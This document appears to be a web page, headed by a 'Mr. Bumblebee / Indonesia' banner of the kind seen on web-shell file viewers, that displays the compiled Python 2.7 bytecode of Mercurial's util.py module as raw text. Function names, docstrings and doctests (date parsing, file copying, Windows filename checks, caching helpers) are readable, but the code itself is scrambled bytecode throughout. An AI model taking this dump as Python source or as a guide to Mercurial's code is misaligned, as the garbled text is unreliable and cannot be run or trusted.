-=[ Mr. Bumblebee ]=-
_Indonesia_
l\c @ s1 d Z d d l m Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l
Z
d d l Z d d l
Z
d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z e
j d k rd d l Z n d d l Z e j Z e j Z e j Z e j Z e j Z e j Z e j! Z! e j" Z" e j# Z# e j$ Z$ e j% Z% e j& Z& e j' Z' e j( Z( e j) Z) e j* Z* e j+ Z+ e j, Z, e j- Z- e j. Z. e j/ Z/ e j0 Z0 e j1 Z1 e j2 Z2 e j3 Z3 e j4 Z4 e j5 Z5 e j6 Z6 e j7 Z7 e j8 Z8 e j9 Z9 e j: Z: e j; Z; e j< Z< e j= Z= e j> Z> e j? Z? e j@ Z@ e jA ZA eB e d e jC ZC e jD ZD e jE ZE e jF ZF e jG ZG e jH ZH e jI ZI e jJ ZJ e jK ZK eL ZM d ZN d d aO d d aP y
eQ ZQ Wn? eR k
rUe jS d
d k rFd
d ZQ n d
d
ZQ n Xd d lT ZT e
j d k ZU eV eW d ZX eV eW d ZY eV eW d ZZ d Z[ d d d d d d d d d d d d d d d! d" d# d$ d% d& d' d( d) d* f Z\ e\ d+ d, d- d. f Z] d/ Z^ y e j_ j` e j_ Z_ Wn* ea k
rWd0 e j_ f d1 YZ_ n Xd2 eb f d3 YZc d4 eL f d5 YZd d6 Ze d7 eL f d8 YZf d9 Zg d: Zh i eh d; 6eg d< 6Zi d= Zj d> Zk d? d@ dA Zl e jm Zm dB Zn dC Zo dD Zp eV aq dE Zr dF Zs dG Zt i eV eV eV eV dH Zu dI Zv dJ Zw eV dK Zx dL j@ Zy dM Zz dN Z{ e
j d k re{ Z| n e j| Z| dO Z} dP Z~ dQ Z dR Z y d d l Z eV a Wn e k
reW a n XdS eL f dT YZ e Z i Z dU Z dV Z dW Z dX Z dY Z eW eV dZ Z d[ eL f d\ YZ eV eW d] Z eV d^ Z d_ Z d` Z da Z db eL f dc YZ d@ eV dd Z eV de Z eV df dg Z eV dh Z g di Z eV i dj Z dk Z dl Z dm Z dn Z do dp Z dq Z e dr ds dt >e du f dv ds dt >e dw f ds ds dt >e dx f dr ds dy >e dz f dv ds dy >e d{ f ds ds dy >e d| f dr ds dv >e d} f dv ds dv >e d~ f ds ds dv >e d f ds ds e d f
Z d Z d a d d d Z d Z d Z d Z d Z y e e f \ Z Z Wn# eR k
rd Z d Z n XeV eW d Z d Z i
e d 6e d 6e d 6e d 6e d 6eW d 6eW d 6eW d 6eW d 6eW d 6Z d Z d Z eb d e D Z d Z d eL f d YZ d Z d Z d Z d Z d Z d Z d Z e ds d e d f dr ds e d f dv ds e d f ds ds e d f dr d e d f dv d e d f ds d e d f dr d e d f dv d e d f ds d e d f dr d e d f dv d e d f ds d e d f
Z d
g Z d Z d d dy f d d dv f d d dt f d d dv f d d dy f d d dt f d ds f f Z d Z d eL f d YZ d d
e j e j d Z e Z d S( s Mercurial utility functions and platform specific implementations.
This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core.
i( t _Nt ntt statfilesc C s t | | t t k S( N( t getattrt _notset( t thingt attr( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt safehasattrQ s t c C s
t | S( s
Low-overhead wrapper around Python's SHA support
>>> f = _fastsha1
>>> a = sha1()
>>> a = f()
>>> a.hexdigest()
'da39a3ee5e6b4b0d3255bfef95601890afd80709'
( t _fastsha1( t s( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt sha1T s c C sF t j d k r" d d l m } n d d l m } | a a | | S( Ni i i( R ( t sha( i i ( t syst version_infot hashlibR R R ( R
t _sha1( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR a s
i i c C s | | S( N( ( t sliceablet offset( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt bufferq s c C s t | | S( N( t
memoryview( R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR t s t posixc C sO t j | d t d d d t d t j d t j d | d | } | j | j f S( Nt shellt bufsizeit close_fdst stdint stdoutt universal_newlinest env( t
subprocesst Popent Truet closefdst PIPER R ( t cmdR t newlinest p( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt popen2z s c C s+ t | | | \ } } } } | | | f S( N( t popen4( R" R R# R R t stderrR$ ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt popen3 s c C sa t j | d t d d d t d t j d t j d t j d | d | } | j | j | j | f S(
NR R iR R R R' R R ( R R R R R! R R R' ( R" R R# R$ ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR& s c C s0 y d d l } | j SWn t k
r+ d SXd S( s( Return version information if available.iNt unknown( t __version__t versiont ImportError( R* ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR+ s
s %Y-%m-%d %H:%M:%Ss %Y-%m-%d %I:%M:%S%ps %Y-%m-%d %H:%Ms %Y-%m-%d %I:%M%ps %Y-%m-%ds %m-%ds %m/%ds %m/%d/%ys %m/%d/%Ys %a %b %d %H:%M:%S %Ys %a %b %d %I:%M:%S%p %Ys %a, %d %b %Y %H:%M:%Ss %b %d %H:%M:%S %Ys %b %d %I:%M:%S%p %Ys %b %d %H:%M:%Ss %b %d %I:%M:%S%ps %b %d %H:%Ms
%b %d %I:%M%ps %b %d %Ys %b %ds %H:%M:%Ss
%I:%M:%S%ps %H:%Ms %I:%M%ps %Ys %Y-%ms %bs %b %Yc sq j j d k r. g f d } | Si j j d k r[ f d } n f d } | S( s" cache the result of function callsi c s- t d k r% j n d S( Ni ( t lent append( ( t cachet func( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt f s i c s' | k r | | <n | S( N( ( t arg( R/ R0 ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR1 s c s' | k r | | <n | S( N( ( t args( R/ R0 ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR1 s ( t func_codet co_argcount( R0 R1 ( ( R/ R0 s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt cachefunc s t dequec B s e Z d Z RS( c C s8 x1 t | D]# \ } } | | k r
| | =Pq
q
Wd S( N( t enumerate( t selft valt it v( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt remove s ( t __name__t
__module__R= ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR7 s t sortdictc B sk e Z d Z d d Z d Z d Z d Z d Z d Z d Z
d Z d Z d
Z
RS( s a simple sorted dictionaryc C s# g | _ | r | j | n d S( N( t _listt update( R9 t data( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __init__ s c C s
t | S( N( R@ ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt copy s c C sF | | k r | j j | n | j j | t j | | | d S( N( RA R= R. t dictt __setitem__( R9 t keyR: ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRG s c C s
| j j S( N( RA t __iter__( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRI s c C s# x | D] } | | | | <q Wd S( N( ( R9 t srct k( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRB s
c C s t j | g | _ d S( N( RF t clearRA ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRL s
c C s$ g | j D] } | | | f ^ q
S( N( RA ( R9 RK ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt items s c C s$ t j | | | j j | d S( N( RF t __delitem__RA R= ( R9 RH ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRN s c C s | j S( N( RA ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt keys s c C s
| j j S( N( RA RI ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt iterkeys s N( R> R? t __doc__t NoneRD RE RG RI RB RL RM RN RO RP ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR@ s t lrucachedictc B s; e Z d Z d Z d Z d Z d Z d Z RS( s6 cache most recent gets from or sets to this dictionaryc C s" i | _ | | _ t | _ d S( N( t _cachet _maxsizeR7 t _order( R9 t maxsize( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD s c C s1 | j | } | j j | | j j | | S( N( RT RV R= R. ( R9 RH t value( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __getitem__ s
c C sq | | j k r@ t | j | j k rP | j | j j =qP n | j j | | | j | <| j j | d S( N( RT R- RU RV t popleftR= R. ( R9 RH RX ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRG s
c C s
| | j k S( N( RT ( R9 RH ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __contains__ s c C s | j j t | _ d S( N( RT RL R7 RV ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRL s
( R> R? RQ RD RY RG R[ RL ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRS s c sR i t j j d k r9 f d } n f d } | S( s+ cache most recent results of function callsi c sc | k rA t d k r. j =n | | <n
j | j | | S( Ni ( R- RZ R= R. ( R2 ( R/ R0 t order( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR1 $ s
c sc | k rA t d k r. j =n | | <n
j | j | | S( Ni ( R- RZ R= R. ( R3 ( R/ R0 R\ ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR1 . s
( R7 R4 R5 ( R0 R1 ( ( R/ R0 R\ s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt lrucachefunc s
t
propertycachec B s& e Z d Z d d Z d Z RS( c C s | | _ | j | _ d S( N( R0 R> t name( R9 R0 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD ; s c C s# | j | } | j | | | S( N( R0 t
cachevalue( R9 t objt typet result( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __get__> s c C s | | j | j <d S( N( t __dict__R_ ( R9 Ra RX ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR` C s N( R> R? RD RR Rd R` ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR^ : s c
C sF t j | d t d t d t j d t j } | j | \ } } | S( s9 filter string S through command CMD, returning its outputR R R R ( R R R R R! t communicate( R
R" R$ t poutt perr( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
pipefilterG s c C s d
\ } } zt j d d \ } } t j | d } | j | | j t j d d \ } } t j | | j d | } | j d | } t j | } t j
d k r | d @r d } n | r t t d
| t
| f n t | d } | j } | j | SWd y | r;t j | n Wn t k
rOn Xy | rit j | n Wn t k
r}n XXd S( s filter string S through a pair of temporary files with CMD.
CMD is used as a template to create the real command to be run,
with the strings INFILE and OUTFILE replaced by the real names of
the temporary files generated.t prefixs
hg-filter-in-t wbs hg-filter-out-t INFILEt OUTFILEt OpenVMSi i s command '%s' failed: %st rbN( NN( RR t tempfilet mkstempt ost fdopent writet closet replacet systemR
t platformt AbortR t explainexitt opent readt unlinkt OSError( R
R" t innamet outnamet infdt fpt outfdt codet r( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
tempfilterN s<
s tempfile:s pipe:c C sV xF t j D]8 \ } } | j | r
| | | t | j Sq
Wt | | S( sI filter a string through a command that transforms its input to its output( t filtertablet iteritemst
startswithR- t lstripRi ( R
R" R_ t fn( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt filterx s !c C s t | o d | k S( s& return true if a string is binary datat ( t bool( R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt binary s i i c c s d } g } d } x | D] } | j | | t | 7} | | k r | | k r | d >} d | | >} | | k r | } n | | k r | } q n d j | Vd } g } q q W| r d j | Vn d S( sr return no less than min bytes per chunk while data remains,
doubling min after each chunk until it reaches maxc S s9 | s
d Sd } x | r0 | d L} | d 7} q W| d S( Ni i ( ( t xR; ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt log2 s
i i R N( R. R- t join( t sourcet mint maxR t buft blent chunkt nmin( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt increasingchunks s&
c C s t S( N( R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt always s c C s t S( N( t False( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt never s c C s! | s t | St j j | r t j j | d t j j | d k rg t j j | t | Sd j t | | f } n t | | j d } } | j | j x8 | r | r | d | d k r | j
| j
q W| j t j j d g t | | p d S( sa return the relative path from one place to another.
root should use os.sep to separate directories
n1 should use os.sep to separate directories
n2 should use "/" to separate directories
returns an os.sep-separated path.
If n1 is a relative path, it's assumed it's
relative to root.
n2 should always be relative to root.
i t /is ..t .(
t localpathRr t patht isabst
splitdriveR t pconvertt splitpatht splitt reverset popt sepR- ( t roott n1t n2t at b( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt pathto s
,
#
c C s+ t t d p* t t d p* t j d S( s return True if we are a frozen executable.
The code supports py2exe (most common, Windows only) and tools/freeze
(portable, not much used).
t frozent importerst __main__( R R
t impt is_frozen( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
mainfrozen s c C s t d k r t j j d } t j d } | r> t | q t rW t t j q t j
j t | d d d k r t | j
q t d p t j
j t j d } t | n t S( s] return location of the 'hg' executable.
Defaults to $HG or 'hg' in the search path.
t HGR t __file__R t hgi N( t
_hgexecutableRR Rr t environt getR
t modulest _sethgexecutableR t
executableR t basenameR R t findexet argv( R t mainmodt exe( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt hgexecutable s
$%
c C s
| a d S( s# set location of the 'hg' executableN( R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s c sM y t j j Wn t k
r$ n Xd | } t | } t j d k r t j d d k r t j d d k r | d k r t j | n t j
| } nt t j } | j
f d | j D t | d <| d k s | t j k r't j | d t d
t d | d | } nm t j | d t d
t d | d | d
t j d t j } x | j D] }
| j |
qjW| j | j } t j d k r| d @rd } n | rI| rId t j j | j d d d t | d f } | rd | | f } n y | j | d WqIt k
rE| | qIXn | S( s enhanced shell command execution.
run with environment maybe modified, maybe in different dir.
if command fails and onerr is None, return status. if ui object,
print error message and return status, else raise onerr object as
exception.
if out is specified, it is assumed to be a file-like object that has a
write() method. stdout and stderr will be redirected to out.c S s6 | d k s | t k r d S| t k r, d St | S( s9 convert python object into string that is useful to shellt 0t 1N( RR R R t str( R: ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt py2shell s
t plan9i i i i c 3 s' | ] \ } } | | f Vq d S( N( ( t .0RK R< ( R ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pys <genexpr> s R R R R t cwdR R' Rn s %s %ss %s: %ss
N(! R
R t flusht Exceptiont quotecommandRx R RR Rr t chdirRw RF R RB R R t
__stdout__R t callR R R R! t STDOUTRt t waitt
returncodeR R R Rz t warnt AttributeError( R" R R t onerrt errprefixt outt origcmdt rcR t proct linet errmsg( ( R s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRw sJ
" #
"
c s f d } | S( s5 wrap a function with code to check for calling errorsc s] y | | SWnE t k
rX t t j t j d d k rR t j n n Xd S( Ni i ( t TypeErrorR- t tracebackt
extract_tbR
t exc_infot errort SignatureError( R3 t kwargs( R0 ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt check$ s
% ( ( R0 R ( ( R0 s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt checksignature" s c C s t j j | r t | n t j j | rM t j t j | | nO y$ t j | | t j | | Wn( t j
k
r } t t | n Xd S( s, copy a file, preserving mode and atime/mtimeN(
Rr R t lexistsR} t islinkt symlinkt readlinkt shutilt copyfilet copymodet ErrorRy R ( RJ t destt inst( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR . s
c C sA | d k r? t j | j t j t j j | j k } n d } t j j | r t j | x t j | D]X \ } } t j j
| | } t j j
| | } t | | | \ } } | | 7} qt Wnd | r y t | | Wq-t
t f k
rt } t j | | q-Xn t j | | | d 7} | | f S( s1 Copy a directory tree using hardlinks if possiblei i N( RR Rr t statt st_devR t dirnamet isdirt mkdirt osutilt listdirR t copyfilest oslinkt IOErrorR~ R R RE ( RJ t dstt hardlinkt numR_ t kindt srcnamet dstnamet n( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR ; s( $
sq con prn aux nul
com1 com2 com3 com4 com5 com6 com7 com8 com9
lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9s :*?"<>|c C s | j d r t d Sd | k r/ t d Sx | j d d j d D] } | s] qK n xH | D]@ } | t k r t d | St | d k rd t d | Sqd W| j d d
} | r | j t k r t d | S| d } | d k rK | d
k rK t d | SqK Wd S( sJ Check that the base-relative path is a valid filename on Windows.
Returns None if the path is ok, or a UI string describing the problem.
>>> checkwinfilename("just/a/normal/path")
>>> checkwinfilename("foo/bar/con.xml")
"filename contains 'con', which is reserved on Windows"
>>> checkwinfilename("foo/con.xml/bar")
"filename contains 'con', which is reserved on Windows"
>>> checkwinfilename("foo/bar/xml.con")
>>> checkwinfilename("foo/bar/AUX/bla.txt")
"filename contains 'AUX', which is reserved on Windows"
>>> checkwinfilename("foo/bar/bla:.txt")
"filename contains ':', which is reserved on Windows"
>>> checkwinfilename("foo/bar/b\07la.txt")
"filename contains '\\x07', which is invalid on Windows"
>>> checkwinfilename("foo/bar/bla ")
"filename ends with ' ', which is not allowed on Windows"
>>> checkwinfilename("../bar")
>>> checkwinfilename("foo\\")
"filename ends with '\\', which is invalid on Windows"
>>> checkwinfilename("foo\\/bar")
"directory name ends with '\\', which is invalid on Windows"
s \s3 filename ends with '\', which is invalid on Windowss \/s9 directory name ends with '\', which is invalid on WindowsR s4 filename contains '%s', which is reserved on Windowsi s1 filename contains %r, which is invalid on WindowsR i is . s ..s8 filename ends with '%s', which is not allowed on WindowsN( t endswithR Rv R t _winreservedcharst ordt lowert _winreservednames( R R t ct baset t( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt checkwinfilename[ s,
"
c C s y t j | | SWn; t k
rA } | j t j k rR qR n t k
rQ n Xt j | t j t j Bt j B } t j
| | t j | d S( N( Rr R R~ t errnot EEXISTR R{ t O_CREATt O_WRONLYt O_EXCLRt Ru ( t infot pathnamet whyt ld( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt makelock s
#c C s~ y t j | SWnD t k
rG } | j t j t j f k rX qX n t k
rW n Xt | } | j } | j | S( N(
Rr R R~ R t EINVALt ENOSYSR t posixfileR| Ru ( R R R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt readlock s
c C s< y t j | j SWn t k
r7 t j | j SXd S( s1 stat file object that may not have fileno method.N( Rr t fstatt filenoR R R_ ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s
c C s t j | } t j j | \ } } | j } | | k r^ | j } | | k r^ t Sn t j j | | } y' t j | } | | k r t St SWn t k
r t SXd S( s
Return true if the given path is on a case-sensitive filesystem
Requires a path (like /foo/.hg) ending with a foldable final
directory component.
N(
Rr R R R t upperR R R R R~ ( R t s1t dR t b2t p2t s2( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt checkcase s
t _rec B s, e Z d Z d d Z e d Z RS( c C s: y t t j d d a Wn t k
r5 t a n Xd S( Ns \[([^\[]+)\]s [ui]( R t re2t matcht _re2R, R ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt _checkre2 s
i c C s t d k r | j n t r | t j t j B@d k r | t j @rT d | } n | t j @rn d | } n y t j | SWq t j k
r q Xn t j | | S( s Compile a regular expression, using re2 if possible
For best performance, use only re2-compatible regexp features. The
only flags from the re module that are re2-compatible are
IGNORECASE and MULTILINE.i s (?i)s (?m)N( R& RR R' t remodt
IGNORECASEt MULTILINER$ t compileR ( R9 t patt flags( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR+ s
!
c C s1 t d k r | j n t r& t j St j Sd S( s Return the version of escape corresponding to self.compile.
This is imperfect because whether re2 or re is used for a particular
function depends on the flags, etc, but it's the best we can do.
N( R& RR R' R$ t escapeR( ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR. s
( R> R? R' R+ R^ R. ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR# s c C sF d } t j } t j r+ | t j } n | j d d t j d | | f } t j j | } g } x | j | D] \ } } | r | j | q| n | t
k r t j | t
| <n t
| } | | | }
|
s
t j | } | t
| <| | | }
n | j |
p | t j j | | } q| Wd j | S( s4 Get name in the case stored in the filesystem
The name should be relative to root, and be normcase-ed for efficiency.
Note that this function is unnecessary, and should not be
called, for case-sensitive filesystems (simply because it's expensive).
The root should be normcase-ed, too.
c S s+ x$ | D] } t | | k r | Sq Wd S( N( t normcaseRR ( R$ t contentsR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt find s
s \s \\s ([^%s]+)|([%s]+)R (
Rr R t altsepRv R( R+ R t normpatht findallR. t _fspathcacheR R ( R_ R R1 t sepst patternt dirRc t partR R0 t found( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt fspath s.
c C s | d } t j j | r t Sy t | d j Wn t k
rK t SX| d } d } zF y t | | Wn t k
r t SXt | } t
| d k SWd | d k r | j n x9 | | f D]+ } y t j | Wq t k
r q Xq WXd S( s5 check whether hardlink count reporting works properlys .hgtmp1t ws .hgtmp2i N( Rr R R R R Ru R RR R R~ t nlinksR} ( t testfilet f1t f2t fdR1 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
checknlink+ s.
c C s+ | j t j p* t j o* | j t j S( s) Check path ends with os.sep or os.altsep.( R Rr R R2 ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt endswithsepM s c C s | j t j S( s Split path by os.sep.
Note that this function does not use os.altsep because this is
an alternative of simple "xxx.split(os.sep)".
It is recommended to use os.path.normpath() before using this
function if need.( R Rr R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR Q s c C sh t j d k rE d t j k r" t St t d d r> t j St Sn t j
d k pc t j j d Sd S( s Are we running in a GUI?t darwint SSH_CONNECTIONt isguiR t DISPLAYN( R
Rx Rr R R R R RR RF R R_ R ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt guiY s
c C sB t j j | \ } } t j d d | d | \ } } t j | t | | | | ra | Sy y t | d } WnJ t k
r } | j t j
k r | St | d d s | | _
n n Xt | d } x! t | D] }
| j |
q W| j | j Wn/ y t j | Wn t k
r6n X n X| S( s Create a temporary file with the same contents from name
The permission bits are copied from the original file.
If the temporary file is going to be truncated immediately, you
can use emptyok=True as an optimization.
Returns the name of the temporary file.
Rj s .%s-R8 Ro t filenameRk N( Rr R R Rp Rq Ru R R R R t ENOENTR RR RI t
filechunkiterRt R} R~ ( R_ t emptyokt
createmodeR R RA t tempt ifpR t ofpR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
mktempcopyh s6
"
t atomictempfilec B s8 e Z d Z d d d Z d Z d Z d Z RS( sf writable file object that atomically updates a file
All writes will go to a temporary copy of the original file. Call
close() when you are done writing, and atomictempfile will rename
the temporary copy to the original name, making the changes
visible. If the object is destroyed without being closed, all your
writes are discarded.
s w+bc C s | | _ t | d d | k d | | _ t | j | | _ | j j | _ | j j | _ | j j | _ | j j | _ d S( NRL R< RM ( t _atomictempfile__nameRQ t _tempnameR t _fpRt t seekt tellR ( R9 R_ t modeRM ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD s c C s9 | j j s5 | j j t | j t | j n d S( N( RU t closedRu t renameRT R RS ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRu s
c C sH | j j sD y t j | j Wn t k
r3 n X| j j n d S( N( RU RY Rr R} RT R~ Ru ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt discard s
c C s t | d r | j n d S( NRU ( R R[ ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __del__ s N( R> R? RQ RR RD Ru R[ R\ ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRR s
c C s y t | | Wn t k
r } | j t j k r9 d S| j t j k sR | rX n t j j t j j | } | | k r n t | | | t | | n X| d k r t j | | n d S( s9 recursive directory creation with parent mode inheritanceN( t makedirR~ R R
RJ Rr R R t abspatht makedirsRR t chmod( R_ RX t
notindexedt errt parent( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR_ s c C s t j j | r d St j j t j j | } | | k rP t | | n y t j | Wn> t k
r } | j t j k r t j j | r d S n X| d k r t j | | n d S( s& race-safe recursive directory creationN( Rr R R R R^ t
ensuredirsR R~ R R
RR R` ( R_ RX Rc Rb ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRd s $ c C s/ t | d } z | j SWd | j Xd S( NRo ( R{ R| Ru ( R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt readfile s c C s2 t | d } z | j | Wd | j Xd S( NRk ( R{ Rt Ru ( R t textR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt writefile s c C s2 t | d } z | j | Wd | j Xd S( Nt ab( R{ Rt Ru ( R Rf R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
appendfile s t chunkbufferc B s# e Z d Z d Z d d Z RS( so Allow arbitrary sized chunks of data to be efficiently read from an
iterator over chunks of arbitrary size.c C s( d } | | | _ t | _ d S( sz in_iter is the iterator that's iterating over the input chunks.
targetsize is how big a buffer to try to maintain.c s sj xc | D][ } t | d k r] d } x: | t | k rY | d } | | | !V| } q( Wq | Vq Wd S( Ni i i i i i ( R- ( t chunksR t post end( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt splitbig s
N( t iterR7 t _queue( R9 t in_iterRn ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD s
c C s | } g } | j } x | d k s0 | d k r| s d } x> | j D]3 } | j | | t | 8} | d k rF PqF qF W| s Pq n | j } | d k r | t | 8} n | d k r | d k r | j | | | j | | q | j | q Wd j | S( s Read L bytes of data from the iterator of chunks of data.
Returns less than L bytes if the iterator runs dry.
If size parameter is ommited, read everythingi i i R Ni ( Rp RR Ro R. R- RZ t
appendleftR ( R9 t lt leftR t queuet targetR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR| s*
N( R> R? RQ RD RR R| ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRj s c c s | d k s t | d k s0 | d k s0 t xk t r | d k rN | } n t | | } | oo | j | } | s| Pn | r | t | 8} n | Vq3 Wd S( sX Create a generator that produces the data in the file size
(default 65536) bytes at a time, up to optional limit (default is
to read all data). Chunks may be less than size bytes if the
chunk is the last chunk in the file, or the file is a socket or
some other type of file that sometimes reads less data than is
requested.i N( t AssertionErrorRR R R R| R- ( R1 t sizet limitt nbytesR
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRK s c C s | d k r t j } n | d k rR t d } t t d | d | n t j j | t j j | } | j d | j } | | f S( sm Return a unix timestamp (or the current time) as a (unixtime,
offset) tuple based off the local timezone.i s check your clocks negative timestamp: %dt hintiQ N( RR t timeR Ry t datetimet utcfromtimestampt
fromtimestampt dayst seconds( t timestampR{ t deltat tz( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt makedate4 s s %a %b %d %H:%M:%S %Y %1%2c C s$ | p t \ } } | d k r0 d } d } n d | k sT d | k sT d | k r | d k rf d pi d } t | d } | j d d } | j d d | | d f } | j d d
| d } n y t j t | | } Wn# t k
r
t j t j } n Xt j | | } | S( s represent a (unixtime, offset) tuple as a localized time.
unixtime is seconds since the epoch, and offset is the time zone's
number of seconds away from UTC. if timezone is false, do not
append time zone to string.i s %1s %2s %zt -t +i< s %1%2s %c%02ds %02d(
R t absRv R| t gmtimet floatt
ValueErrorR
t maxintt strftime( t datet formatR
R t signt minutesR
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt datestrA s $
c C s t | d d S( s1 turn (timestamp, tzoff) tuple into iso 8631 date.R s %Y-%m-%d( R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt shortdateX s c
C s$ d } | | | } } | d k rD d j | j d } n t } xn d D]f } g | D] } d
| | k r^ t ^ q^ } | s | d | | | 7} | d | d
7} qQ t } qQ Wt j | | }
t t j |
} | d k rt t j
|
} | | } n
| | } | | f S( s~ parse a localized time string and return a (unixtime, offset) tuple.
if the string cannot be parsed, ValueError is raised.c S s | j d } | d d k r t | d k r | d j r | d d k rX d p[ d } t | d d ! } t | d d ! } | | d | d S| d k s | d
k r d Sd S( Nii s +-i i R i i< t GMTt UTC( R R- t isdigitt intRR ( t stringR R t hoursR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt timezone_ s 2 t it St Mt HIR t mbt yYt %t @s @%i N( R R R R R R ( RR R R R R R| t strptimeR t calendart timegmt mktime(
R R t defaultsR R R t usenowR9 R$ R: t timetuplet
localunixtimet unixtime( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt strdate\ s$
)
c C sp | s
d St | t r/ t | d k r/ | S| s> t } n | j } | t d k rc t S| t d k r t j j j
d } n= | t d k r t j j t j d d j
d } n y" t t
| j d \ } } Wn t k
rt } i } xr d D]j } | j | } | d k rX| d d k rOd } qXd } n t | d | d } | | f | | <qWx_ | D]= }
y t | |
| \ } } Wn t t f k
